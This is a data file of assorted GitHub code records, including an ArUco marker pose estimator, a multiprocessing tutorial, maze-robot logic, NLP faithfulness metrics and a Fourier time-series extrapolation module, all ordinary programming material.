+{"seq_id":"2535454687","text":"import cv2\nimport cv2.aruco as auo\nimport numpy as np\nimport PIL\nimport imutils\nfrom imutils.video import VideoStream\nimport time\nimport sys\nfrom calibration import calibrate\nimport os\n\nprint(\"[INFO] Use Ctrl+C to exit.\")\nprint(\"[INFO] calibrating camera...\")\nret,camera_matrix,dist_coeffs = calibrate()\nif ret:\n\tprint(\"[INFO] attained camera calibration values.\")\nelse:\n\tprint(\"[ERROR] failed to get camera calibration values...\")\n\narucoDict = auo.Dictionary_get(auo.DICT_6X6_1000)\narucoParams = auo.DetectorParameters_create()\n\nprint(\"[INFO] starting video stream...\")\nvs = VideoStream(src=0).start()\ntime.sleep(2.0)\n\nwhile True:\n\t# grab the frame from the threaded video stream and resize it\n\t# to have a maximum width of 1000 pixels with , width=1000.\n\tframe = vs.read()\n\tframe = imutils.resize(frame)\n\t# detect ArUco markers in the input frame\n\t(corners, ids, rejected) = auo.detectMarkers(frame,\n\t\tarucoDict, parameters=arucoParams)\n\tif len(corners) > 0:\n\t\t# flatten the ArUco IDs list\n\t\tids = ids.flatten()\n\n\t\t#print('corners: ', corners, ' ids: ', ids)\n\t\t# loop over the detected ArUCo corners\n\t\t#for (markerCorner, markerID) in zip(corners, ids):\n\t\trvecs, tvecs, _objPoints = auo.estimatePoseSingleMarkers(corners,0.05,camera_matrix,\n\t\t\t\t\t\t\t\t\tdist_coeffs)\n\t\t#print(tvecs)\n\t\tfor i in range(len(rvecs)):\n\t\t\trvec = rvecs[i]\n\t\t\ttvec = tvecs[i]\n\t\t\tprint(tvec, \" ID: \", ids[i])\n\t\t\tauo.drawAxis(frame,camera_matrix,dist_coeffs,rvec,tvec,0.1)\n\n\t\t\t# extract the marker corners (which are always returned\n\t\t\t# in top-left, top-right, bottom-right, and bottom-left\n\t\t\t# order)\n\t\tfor (markerCorner, markerID) in zip(corners, ids):\n\t\t\tmcorners = markerCorner.reshape((4, 2))\n\t\t\t(topLeft, topRight, bottomRight, bottomLeft) = mcorners\n\t\t\ttopLeft = (int(topLeft[0]), int(topLeft[1]))\n\t\t\tcv2.putText(frame, str(markerID),\n\t\t\t\t(topLeft[0], topLeft[1] - 15),\n\t\t\t\tcv2.FONT_HERSHEY_COMPLEX,\n\t\t\t\t0.5, (0, 0, 255), 2)\n\n\tcv2.imshow(\"Frame\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n\tif key == ord(\"q\"):\n\t\tbreak\n\tif key == ord(\"s\"):\n\t\ttime.sleep(15000)\n\ncv2.destroyAllWindows()\nvs.stop()\nos._exit()\n","repo_name":"dhudetz/RoboArm","sub_path":"fiducials/3d_scanner.py","file_name":"3d_scanner.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38110529917","text":"#25/04/2020 redandgreen.co.uk\n\"\"\" create graphs from csv data for insertion into unique word docs/docx \"\"\"\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib import style\nimport csv\nimport json\nimport warnings\nwarnings.simplefilter(\"ignore\")\n\nstyle.use('ggplot')\n\nclass Matgraph(object):\n\n        \"\"\"  Read a CSV file and generate 1 graph per row\"\"\"\n        def __init__(self):\n                self.vals = []\n                self.row_num = 2\n\n        def make_graphs(self):\n                with open('gsd.csv','r') as f:\n                        reader = csv.reader(f)\n                        next(reader) # skip the header / row 1\n                        for row in reader:\n                                        self.vals =  row\n                                        input_x = (self.vals[:5])\n                                        input_y = (self.vals[5:])\n                                        input_x = list(map(int,input_x))\n                                        input_y = list(map(int,input_y))\n                                        print(input_x)\n                                        print(input_y)\n                                        print(f\"Making Graph number {self.row_num}\")\n                                        fig, ax = plt.subplots()\n                                        ax.set_title(f\"redandgreen.co.uk graph {self.row_num}\",fontsize=14)\n                                        plt.bar(input_x,input_y)\n                                        plt.savefig(f\"plot{self.row_num}.png\")\n                                        plt.clf()\n                                        self.row_num += 1\n\nif __name__ == \"__main__\":\n\n        autograph = Matgraph()\n        autograph.make_graphs()\n\n       \tprint(\"\\nGraphs made - Check CWD  for your .png files\")\n        print(\"Make multiple DOCX files next? - Put .png file in '/images'\")\n        print(\"Then run pydoc_image.py\\n\")\n","repo_name":"RGGH/pydoc","sub_path":"pydoc_graph.py","file_name":"pydoc_graph.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19044525541","text":"import multiprocessing, time, os\n\n\ndef dance(n):\n    for i in range(n):\n        time.sleep(0.5)\n        print('正在跳舞{},pid={}'.format(i, os.getpid()))\n\n\ndef sing(m):\n    for i in range(m):\n        time.sleep(0.5)\n        print('正在唱歌{},pid={}'.format(i, os.getpid()))\n\n\nif __name__ == '__main__':\n    print('主进程的pid={}'.format(os.getpid()))\n    # 创建了两个进程\n    # target 用来表示执行的任务\n    # args 用来传参，类型是一个元组\n    p1 = multiprocessing.Process(target=dance, args=(100,))\n    p2 = multiprocessing.Process(target=sing, args=(100,))\n\n    p1.start()\n    p2.start()\n","repo_name":"GrindOn/BZ_QFpython","sub_path":"01 python/Day20-多任务/01-代码/06-多进程.py","file_name":"06-多进程.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"74770940562","text":"import os\nimport unittest\n\nfrom click.testing import CliRunner\n\nfrom releasy.main import _is_iac, run\n\nclass TestReleasy(unittest.TestCase):\n\n    def test_iac_regex_check_success(self):\n        for repo_name in ['terraform-layer-foo', 'terraform-layer-some-thing-else', 'terraform-layer-aThing']:\n            self.assertTrue(_is_iac(repo_name, '^terraform-layer-.*$'))\n\n        for repo_name in ['bad', 'someapplication-terraform-layer']:\n            self.assertFalse(_is_iac(repo_name, '^terraform-layer-.*$'))\n    \n    def test_run_value_errors_raised(self):\n        runner = CliRunner()\n        result = runner.invoke(run)\n        self.assertTrue(result.exit_code, 1)\n        self.assertTrue(type(result.exception) == ValueError)\n        self.assertEqual(str(result.exception), 'Missing required input \"version\". Please see help.')\n\n        result = runner.invoke(run, ['--version', '0.0.0'])\n        self.assertTrue(result.exit_code, 1)\n        self.assertTrue(type(result.exception) == ValueError)\n        self.assertEqual(str(result.exception), 'Missing required input \"projects\". Please see help.')","repo_name":"Jamian/releasy","sub_path":"releasy/tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"911905352","text":"# maze 2020 logic module\n\n# Setup\nimport data_storage\nimport tile\nimport wall\n\nglob_wallsdata = None\nglob_victimsdata = None\nglob_environmentdata = None\nglob_motorsdata = None\ncurrent_tile = None\ntasks = None\nstatus = 0\ndirection = data_storage.get_direction()\nwanted_direction = data_storage.get_wanted_direction()\n\n\n# Modules\n\ndef check_rotation(environmentdata):\n    global status\n    threshold = 15\n    if environmentdata['rotation'] <= data_storage.get_wanted_rotation() - threshold:\n        tasks.add('Adjust more')\n        pass\n    elif environmentdata['rotation'] >= data_storage.get_wanted_rotation() + threshold:\n        tasks.add('Adjust less')\n        pass\n    status = 1\n\n\ndef black_tile(environmentdata):\n    global tasks\n    global current_tile\n    global status\n    if environmentdata['floor'] == 'black':\n        print(\"Black tile\")\n        current_tile.set_type('black')\n        print(\"Changed type\")\n        current_tile.set_top(wall.Wall())\n        print(\"Top locked\")\n        current_tile.set_rgt(wall.Wall())\n        print(\"Right locked\")\n        current_tile.set_but(wall.Wall())\n        print(\"Down locked\")\n        current_tile.set_lft(wall.Wall())\n        print(\"Left locked\")\n\n        tasks.add(history.get_last_tile())\n        print(\"Added reverse to stack\")\n        print(tasks)\n        print(tasks.all())\n        status = 1\n\n\ndef ramp_check(environmentdata):\n    global status\n    if environmentdata['tilt'] == 'ramp_up':\n        # todo send \"short drive\" for ramp test to arduino (instantly driven) -> returns new tilt\n        if new_tilt == 'ramp_up':\n            tasks.add('Ramp up')\n            status = 1\n    elif environmentdata['tilt'] == 'ramp_down':\n        # todo send \"short drive\" for ramp test to arduino (instantly driven) -> returns new tilt\n        if new_tilt == 'ramp_down':\n            tasks.add('Ramp down')\n            status = 1\n\n\ndef map_update(wallsdata):\n    global current_tile\n    global direction\n    global tasks\n\n    if direction == 0:\n        pass\n    elif direction == 1:\n        temp_wallsdata = wallsdata\n        wallsdata['front'] = temp_wallsdata['left']\n        wallsdata['right'] = temp_wallsdata['front']\n        wallsdata['back'] = temp_wallsdata['right']\n        wallsdata['left'] = temp_wallsdata['back']\n    elif direction == 2:\n        temp_wallsdata = wallsdata\n        wallsdata['front'] = temp_wallsdata['back']\n        wallsdata['right'] = temp_wallsdata['left']\n        wallsdata['back'] = temp_wallsdata['front']\n        wallsdata['left'] = temp_wallsdata['right']\n    elif direction == 3:\n        temp_wallsdata = wallsdata\n        wallsdata['front'] = temp_wallsdata['right']\n        wallsdata['right'] = temp_wallsdata['back']\n        wallsdata['back'] = temp_wallsdata['left']\n        wallsdata['left'] = temp_wallsdata['front']\n\n    if current_tile.has_lft() == False:\n        if wallsdata['left'] == 0:\n            tile = tile.Tile()\n            current_tile.set_lft(tile)\n            tasks.add(tile)\n        else:\n            wall = wall.Wall()\n            current_tile.set_lft(wall)\n\n    if current_tile().has_bot() == False:\n        if wallsdata['down'] == 0:\n            tile = tile.Tile()\n            current_tile.set_bot(tile)\n            tasks.add(tile)\n        else:\n            wall = wall.Wall()\n            current_tile.set_bot(wall)\n\n    if current_tile.has_rgt() == False:\n        if wallsdata['right'] == 0:\n            tile = tile.Tile()\n            current_tile.set_rgt(tile)\n            tasks.add(tile)\n        else:\n            wall = wall.Wall()\n            current_tile.set_rgt(wall)\n\n    if current_tile.has_top() == False:\n        if wallsdata['front'] == 0:\n            tile = tile.Tile()\n            current_tile.set_top(tile)\n            tasks.add(tile)\n        else:\n            wall = wall.Wall()\n            current_tile.set_top(wall)\n\n\ndef victims_check(victimsdata):\n    # todo check for heat_victims\n    # todo modify and check the walls based on this information\n    # todo deploy kits if not yet rescued\n    pass\n\n\ndef check_checkpoint(environmentdata):\n    if environmentdata['floor'] == 'checkpoint':\n        data_storage.set_last_checkpoint_x(current_tile.get_coordinates[0])\n        data_storage.set_last_checkpoint_y(current_tile.get_coordinates[1])\n        data_storage.set_last_checkpoint_z(current_tile.get_coordinates[2])\n\n\ndef calculate_action(parameter_wallsdata, parameter_victimsdata, parameter_environmentdata, parameter_motorsdata,\n                     parameter_current_tile, parameter_tasks):\n    global glob_wallsdata\n    global glob_victimsdata\n    global glob_environmentdata\n    global glob_motorsdata\n    global direction\n    global status\n    global wanted_direction\n\n    glob_wallsdata = parameter_wallsdata\n    glob_victimsdata = parameter_victimsdata\n    glob_environmentdata = parameter_environmentdata\n    glob_motorsdata = parameter_motorsdata\n    current_tile = parameter_current_tile\n    tasks = parameter_tasks\n    status = 0\n    direction = data_storage.get_direction()\n    wanted_direction = data_storage.get_wanted_direction()\n\n    if status == 0:\n        check_rotation(glob_environmentdata)\n    if status == 0:\n        black_tile(glob_environmentdata)\n    if status == 0:\n        ramp_check(glob_environmentdata)\n    if status == 0:\n        map_update(glob_wallsdata)\n    if status == 0:\n        victims_check(glob_victimsdata)\n    if status == 0:\n        check_checkpoint(glob_environmentdata)\n\n    data_storage.set_direction(direction)\n\n    return current_tile, tasks\n\n","repo_name":"NoahBlaaa15/maze-2020","sub_path":"Raspberry Pi/versions/02_12_19/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"5783530234","text":"from .development_settings import *\n\n\n# Whether the Query Inspector should do anything (default: False)\nQUERY_INSPECT_ENABLED = True\n# Whether to log the stats via Django logging (default: True)\nQUERY_INSPECT_LOG_STATS = True\n# Whether to add stats headers (default: True)\nQUERY_INSPECT_HEADER_STATS = True\n# Whether to log duplicate queries (default: False)\nQUERY_INSPECT_LOG_QUERIES = True\n# Whether to log queries that are above an absolute limit (default: None - disabled)\nQUERY_INSPECT_ABSOLUTE_LIMIT = 100  # in milliseconds\n# Whether to log queries that are more than X standard deviations above the mean query time (default: None - disabled)\nQUERY_INSPECT_STANDARD_DEVIATION_LIMIT = 2\n# Whether to include tracebacks in the logs (default: False)\nQUERY_INSPECT_LOG_TRACEBACKS = True\n# Project root (a list of directories, see below - default empty)\nQUERY_INSPECT_TRACEBACK_ROOTS = ['/usr/src/app/']\n","repo_name":"colindith/Taveuni","sub_path":"taveuni/debug_settings.py","file_name":"debug_settings.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32000216519","text":"from collections import Counter\nfrom time import time\nfrom typing import Union, Dict, Callable\n\nimport numpy as np\nimport spacy\nimport torch\nfrom transformers import AutoTokenizer, AutoModelForCausalLM\nfrom IPython.core.debugger import Pdb\nnlp = None\n\ndef get_huggingface_pretrained_model(pretrained_model_name_or_path, **kwargs):\n    # Pdb().set_trace()\n    tokenizer = AutoTokenizer.from_pretrained(pretrained_model_name_or_path)\n    if 'torch_dtype' in kwargs:\n        kwargs['torch_dtype'] = eval(kwargs['torch_dtype'])\n\n    model = AutoModelForCausalLM.from_pretrained(\n        pretrained_model_name_or_path, **kwargs)\n    return model, tokenizer\n\n\n\"\"\"\nBaseline functions copied from: https://github.com/orhonovich/q-squared/blob/main/baselines.py\n\"\"\"\n\n\ndef get_tokens(text):\n    doc = nlp(text)\n    tokens = [tok.text.lower()\n              for tok in doc if not tok.is_stop and not tok.is_punct]\n    return tokens\n\n\ndef f1_score(gold, pred):\n    global nlp\n    if nlp is None:\n        nlp = spacy.load(\"en_core_web_sm\")\n    #\n    gold_toks = get_tokens(gold)\n    pred_toks = get_tokens(pred)\n\n    common = Counter(gold_toks) & Counter(pred_toks)\n    num_same = sum(common.values())\n    if num_same == 0:\n        return 0\n    precision = 1.0 * num_same / len(pred_toks)\n    recall = 1.0 * num_same / len(gold_toks)\n    f1 = (2 * precision * recall) / (precision + recall)\n    return f1\n\n\nclass ComputeFaithfulness:\n    def __init__(self,\n                pmi_model_name: Union[str, tuple],\n                pmi_model_params: dict = None,\n                bert_score_model_type='roberta-large',\n                required_metrics=None,\n                prompt_doc=\"Document: {}\\n\\n\",\n                prompt_history=\"{}.\\n\",\n                prompt_response=\"Agent: {}.\",\n                ):\n        if pmi_model_params is None:\n            pmi_model_params = {}\n        if required_metrics is None:\n            required_metrics = ['pmi', 'uncond_pmi','bleu', 'bert_score', 'overlap','rougel']\n        self.metric_registry: Dict[str, Callable[[str, str, str], Dict[str, float]]] = dict([\n            ('pmi', self.compute_pmi),\n            ('uncond_pmi', self.compute_unconditional_pmi),\n            ('bleu', self.compute_bleu),\n            ('rougel', self.compute_rougel),\n            ('bert_score', self.compute_bert_score),\n            ('faithcritic', self.compute_faithcritic),\n            ('overlap', self.compute_overlap)])\n\n        self.required_metrics = required_metrics\n        \n        if isinstance(pmi_model_name, str):\n            self.pmi_model, self.pmi_tokenizer = get_huggingface_pretrained_model(\n                pmi_model_name, **pmi_model_params)\n        else:\n            self.pmi_model, self.pmi_tokenizer = pmi_model_name\n\n        if 'bert_score' in self.required_metrics:\n            from bert_score import BERTScorer\n            self.bert_scorer = BERTScorer(\n                lang=\"en\", rescale_with_baseline=True, model_type=bert_score_model_type)\n\n        self.rouge_evaluator = None\n\n        if torch.cuda.is_available():\n            self.pmi_model = self.pmi_model.cuda()\n            # self.bert_scorer = self.bert_scorer.cuda()\n\n        for this_metric in self.required_metrics:\n            if this_metric not in self.metric_registry:\n                print(\"Could not find {}. Should be one of:\".format(this_metric))\n                print(list(self.metric_registry.keys()))\n\n        self.prompt_doc = prompt_doc\n        self.prompt_history = prompt_history\n        self.prompt_response = prompt_response\n\n    def __call__(self, document, history, response):\n        return self.compute_faithfulness(document, history, response)\n\n    def compute_faithfulness(self, document, history, response):\n        result = {}\n        for metric in self.required_metrics:\n            func = self.metric_registry[metric]\n            t0 = time()\n            score_dict = func(document, history, response)\n            latency = time() - t0\n            for this_key, this_score in score_dict.items():\n                result[this_key] = {\n                    'score': float(this_score),\n                    'latency': latency\n                }\n        return result\n\n    @classmethod\n    def compute_bleu(cls, document, _history, response):\n        import sacrebleu\n        return {'bleu': sacrebleu.corpus_bleu([response], [[document.lower()]]).score}\n\n    def compute_bert_score(self, document, _history, response):\n        with torch.no_grad():\n            pr, rc, f1 = self.bert_scorer.score([response], [document.lower()])\n        return {'bert_score': f1.detach().numpy()[0]}\n\n    @classmethod\n    def compute_overlap(cls, document, _history, response):\n        return {'overlap': f1_score(document.lower(), response)}\n\n    def compute_rougel(self, document, _history, response):\n        import rouge\n        if self.rouge_evaluator is None:\n            self.rouge_evaluator = rouge.Rouge(\n            metrics=[\"rouge-l\"],\n            limit_length=True,\n            length_limit=5000,\n            length_limit_type=\"words\",\n            apply_avg=False,\n            apply_best=False,\n            alpha=0.5,  # Default F1_score\n            weight_factor=1.0,\n            stemming=True,\n            )\n        scores = self.rouge_evaluator.get_scores([document], [response])\n        return {\"rougel\": scores['rouge-l'][0]['f'][0]}\n\n\n    def compute_faithcritic(self, document, _history, response):\n        from transformers import AutoTokenizer, AutoModelForSequenceClassification\n        if self.faithcritic_model is None:\n            self.faithcritic_model = AutoModelForSequenceClassification.from_pretrained(\n                \"McGill-NLP/roberta-large-faithcritic\"\n            )\n            self.faithcritic_tokenizer = AutoTokenizer.from_pretrained(\"McGill-NLP/roberta-large-faithcritic\")\n        \n        input_ids = self.faithcritic_tokenizer(document, response, return_tensors=\"pt\", truncation=True)\n        this_score = (1 - self.faithcritic_model(**input_ids).logits.argmax(dim=1)).item()\n        return {'faithcritic': this_score}\n\n\n    def compute_unconditional_pmi(self,  document, _history, response):\n        is_cuda = torch.cuda.is_available()\n        with torch.no_grad():\n            doc = self.prompt_doc.format(document)\n            res = self.prompt_response.format(response)\n\n            tokens_doc = self.pmi_tokenizer(doc, return_tensors=\"pt\")\n            tokens_res = self.pmi_tokenizer(res, return_tensors=\"pt\")\n\n            tokens_with_truncation = self.pmi_tokenizer(doc + res,\n                                                        return_tensors='pt',\n                                                        truncation=True)['input_ids']\n            tokens = torch.cat([tokens_doc['input_ids'],\n                                tokens_res['input_ids']], dim=1)\n            if tokens_with_truncation.numel() < tokens.numel():\n                print(\"len(tokens_with_truncation): {}, len(tokens): {}\".format(\n                    tokens_with_truncation.numel(), tokens.numel()))\n                return {'pmi': np.nan}\n            #\n            attention = torch.cat([tokens_doc['attention_mask'],\n                                   tokens_res['attention_mask']], dim=1)\n\n            labelsy = torch.cat([\n                        torch.zeros_like(tokens_doc['input_ids']).fill_(-100),\n                        tokens_res['input_ids'],\n                        ], dim=1)\n    \n            if is_cuda:\n                tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n    \n            output_y_doc_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n                                                   attention_mask=attention.long(),\n                                                   labels=labelsy.long()).loss.item()\n\n            tokens = tokens_res['input_ids']\n            attention = tokens_res['attention_mask']\n            labelsy = tokens_res['input_ids']\n    \n            if is_cuda:\n                tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n    \n            output_y_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n                                               attention_mask=attention.long(),\n                                               labels=labelsy.long()).loss.item()\n            return {'uncond_pmi': output_y_doc_dia - output_y_dia,\n                    'uncond_pmi_logprob_d': output_y_doc_dia,\n                    'uncond_pmi_logprob': output_y_dia}\n\n    def compute_pmi(self,  document, history, response):\n        is_cuda = torch.cuda.is_available()\n        with torch.no_grad():\n            doc = self.prompt_doc.format(document)\n            dia = self.prompt_history.format(history)\n            res = self.prompt_response.format(response)\n\n            tokens_doc = self.pmi_tokenizer(doc, return_tensors=\"pt\")\n            tokens_dia = self.pmi_tokenizer(dia, return_tensors=\"pt\")\n            tokens_res = self.pmi_tokenizer(res, return_tensors=\"pt\")\n\n            tokens_with_truncation = self.pmi_tokenizer(doc + dia + res,\n                                                        return_tensors='pt',\n                                                        truncation=True)['input_ids']\n            tokens = torch.cat([tokens_doc['input_ids'],\n                                tokens_dia['input_ids'],\n                                tokens_res['input_ids']], dim=1)\n            if tokens_with_truncation.numel() < tokens.numel():\n                print(\"len(tokens_with_truncation): {}, len(tokens): {}\".format(\n                    tokens_with_truncation.numel(), tokens.numel()))\n                return {'pmi': np.nan}\n            #\n            attention = torch.cat([tokens_doc['attention_mask'],\n                                   tokens_dia['attention_mask'],\n                                   tokens_res['attention_mask']], dim=1)\n\n            labelsy = torch.cat([\n                        torch.zeros_like(tokens_doc['input_ids']).fill_(-100),\n                        torch.zeros_like(tokens_dia['input_ids']).fill_(-100),\n                        tokens_res['input_ids'],\n                        ], dim=1)\n    \n            if is_cuda:\n                tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n    \n            output_y_doc_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n                                                   attention_mask=attention.long(),\n                                                   labels=labelsy.long()).loss.item()\n\n            tokens = torch.cat([tokens_dia['input_ids'], tokens_res['input_ids']], dim=1)\n            attention = torch.cat([tokens_dia['attention_mask'], tokens_res['attention_mask']], dim=1)\n            labelsy = torch.cat([\n                        torch.zeros_like(tokens_dia['input_ids']).fill_(-100),\n                        tokens_res['input_ids'],\n                        ], dim=1)\n    \n            if is_cuda:\n                tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n    \n            output_y_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n                                               attention_mask=attention.long(),\n                                               labels=labelsy.long()).loss.item()\n            return {'pmi': output_y_doc_dia - output_y_dia,\n                    'pmi_logprob_hd': output_y_doc_dia,\n                    'pmi_logprob_h': output_y_dia}\n","repo_name":"ynandwan/pmi-faith","sub_path":"faithfulness-metrics/src/compute_faithfulness_api.py","file_name":"compute_faithfulness_api.py","file_ext":"py","file_size_in_byte":11422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5847393528","text":"import pandas as pd\nimport numpy as np\nfrom datetime import timedelta\nfrom .Fill import fill_missing\n# import matplotlib.pyplot as plt\n\n\ndef linear(data, n_predict):\n    \"\"\"\n    Linearly extrapolate a source timeseries\n\n    Parameters\n    ----------\n    data: dataseries\n        date index and 1 column of streamflow values\n    n_predict: int\n        number of time increments to extrapolate\n\n    Returns\n    -------\n    extrap_data: dataframe\n        time series with observed data and extrapolated values based on final two observed values\n    \"\"\"\n\n    # create time series with extrapolated data\n    x = np.arange(1, n_predict + 1)\n    extrap_data = data.iloc[-2] + (x - (-1)) / (0 - (-1)) * (data.iloc[-1] - data.iloc[-2])\n\n    # linear extrapolation based on last two points in observed dataset\n    # create pandas DataFrame with observed and extrapolated data\n    extrap_data = pd.Series(extrap_data,\n                            index=pd.date_range(start=data.last_valid_index() + timedelta(days=1),\n                                                end=data.last_valid_index() + timedelta(days=n_predict)),\n                            name='Value')\n\n    ### Debugging code ###\n    # plot the data\n    # fig, ax = plt.subplots(1, 1, gridspec_kw={})\n    # fig.set_size_inches(10, 8)\n    #\n    # extrap_data.plot(ax=ax, linestyle='--', color='r')\n    # data.plot(ax=ax, linestyle='-', color='k')\n    # ax.set_ylabel(\"Daily Avg Inflow (cfs)\")\n    # ax.legend([\"Linear Extrap\", \"Observed Data\"], loc='upper right')\n    # plt.savefig('linear_extrap')\n    # plt.show()\n\n    return extrap_data\n\n\ndef fourier(data, n_predict, time_threshold):\n    \"\"\"\n    Extrapolate data based on Fourier transform of the source timeseries\n\n    Parameters\n    ----------\n    data: dataseries\n        date index and 1 column of streamflow values\n    n_predict: int\n        number of time increments to extrapolate\n    freq_threshold: float\n        frequency threshold above which frequencies are removed\n    Returns\n    -------\n    extrap_data: dataseries\n        time series with observed data and extrapolated values from Fourier Transform\n    p_filtered: float\n        spectral density lost due to high frequency filter\n        \n    \"\"\"\n\n    # remove NANs from dataset\n    idx = np.isfinite(data.values)\n\n    # n = len(x)\n    t = np.arange(0, len(data.values))\n\n    # find linear trend in dataset\n    p = np.polyfit(t[idx], data.values[idx], 1)\n\n    # Detrend x\n    trend_removed = data.values - p[0] * t\n\n    # detrended x in frequency domain\n    FFT = np.fft.fft(trend_removed)\n\n    # frequencies of transform\n    freqs = np.fft.fftfreq(len(data.values))\n\n    ### Apply a low pass filter into the data ###\n    # convert time threshold to frequency\n    freq_threshold = 1 / time_threshold\n    high_freq_FFT = FFT.copy()\n\n    # remove high frequencies\n    high_freq_FFT[np.abs(freqs) > freq_threshold] = 0\n\n    # percentage of frequencies removed\n    p_filtered = len(high_freq_FFT[np.abs(freqs) < freq_threshold]) / len(high_freq_FFT)\n\n    # calculated signal from frequencies\n    filtered_sig = np.fft.ifft(high_freq_FFT)\n\n    ### Calculate the extended series ###\n    indexes = list(range(len(data.values)))\n\n    # sort indexes by frequency, lower -> higher\n    indexes.sort(key=lambda i: np.absolute(freqs[i]))\n\n    t = np.arange(0, len(data.values) + n_predict)\n    restored_sig = np.zeros(t.size)\n    for i in indexes:\n        ampli = np.absolute(high_freq_FFT[i]) / len(data.values)  # amplitude\n        phase = np.angle(high_freq_FFT[i])  # phase\n        restored_sig += ampli * np.cos(2 * np.pi * freqs[i] * t + phase)  # convert frequency back to signal\n\n    # array of fourier time series data\n    fourier_series = restored_sig + p[0] * t\n\n    # Create a data series with the extended data\n    extrap_data = pd.Series(fourier_series[-n_predict:],\n                            index=pd.date_range(start=data.last_valid_index() + timedelta(days=1),\n                                                end=data.last_valid_index() + timedelta(days=n_predict)),\n                            name='Value')\n\n    ### Debug code ###\n    # fig2, ax2 = plt.subplots(1, 1, gridspec_kw={})\n    # fig2.set_size_inches(10, 8)\n    # ax2.plot(data.index, data, color='deepskyblue', label='Observed Data', linewidth=3)\n    # ax2.plot(extrap_data.index, fourier_series, color='r', linestyle='--', label='Fourier Transform Series',\n    #          linewidth=1)\n    # plt.legend(['Observed Data', 'Fourier Transform Series'])\n    # plt.savefig('fourier_extrap')\n    # plt.legend()\n    # plt.show()\n\n    return extrap_data, p_filtered\n\n\ndef extend(dataSeries, fillMethod, fillDuration, fillOrder, extendMethod, n_predict, timeFilter):\n    \"\"\"\n    Performs initial formatting of the data to allow for correct filling behavior\n\n    Parameters\n    ----------\n\n\n    Returns\n    -------\n\n    \"\"\"\n\n    ### Fill the missing data using the user specified method ###\n    # Fill the data\n    dataFilled = fill_missing(dataSeries, fillMethod, fillDuration, order=fillOrder)\n\n    # Strip NaNs from the start of the series\n    stopIndex = -1\n    for x in range(0, len(dataFilled.values), 1):\n        if np.isnan(dataFilled.values[x]):\n            stopIndex = x\n        else:\n            break\n\n    dataFilled = dataFilled[stopIndex + 1:]\n\n    # Calculate the timestep of the data\n    # todo: this needs to look across the time series\n    # timeDifference = dataFilled.index[1:] - dataFilled.index[0:len(dataFilled.index)-1]\n    # timeStep = min(timeDifference)\n    timeStep = dataFilled.index[1] - dataFilled.index[0]\n\n    # Check that there are no gaps\n    # todo: Enforce gapless time series\n    # timeSpacing = np.array([(dataFilled.index[x] - dataFilled.index[x-1]) > timeStep\n    #                         for x in range(1, len(dataFilled), 1)]).astype(bool)\n    # assert not np.any(timeSpacing), \"Unable to extend. Gaps are present in the time series.\"\n\n    # Check that there are no infinte values\n    assert not np.any(np.isinf(dataFilled.values)), \"Unable to extend. Infinite values are present in the time series.\"\n\n    # Check that there are no NaNs in the data\n    # todo: clip starting/ending NaN values\n    # assert not np.any(np.isnan(dataFilled.values)), \"Unable to extend. NaN values are present in the time series.\"\n\n    if extendMethod == \"linear\":\n        # Extend using a linear process\n        extendedSeries = linear(dataFilled, n_predict)\n        densityLost = 0\n\n    elif extendMethod == 'fourier':\n        # Extend using a fourier process\n        # Set the filter to account for the timestep and specified time period\n        if timeStep.days == 1 and timeFilter == 'Day':\n            timeThreshold = 1\n        elif timeStep.days == 1 and timeFilter == 'Week':\n            timeThreshold = 7\n        elif timeStep.days == 1 and timeFilter == 'Month':\n            timeThreshold = 30\n        elif timeStep.days == 1 and timeFilter == 'Year':\n            timeThreshold = 365\n        elif timeStep.days == 7 and timeFilter == 'Month':\n            timeThreshold = 4\n        elif timeStep.days == 7 and timeFilter == 'Year':\n            timeThreshold = 52\n        elif (timeStep.days == 30 or timeStep.days == 31 or timeStep.days == 28)  and timeFilter == 'Year':\n            timeThreshold = 12\n\n        # Call the extend function\n        extendedSeries, densityLost = fourier(dataFilled, n_predict, timeThreshold)\n\n    else:\n        # Extend method is not understood by the parser\n        raise NotImplementedError('Type of extension is not understood')\n\n    return extendedSeries, densityLost\n\n","repo_name":"usbr/PyForecast","sub_path":"resources/modules/ModelCreationTab/Operations/Extend.py","file_name":"Extend.py","file_ext":"py","file_size_in_byte":7566,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"}
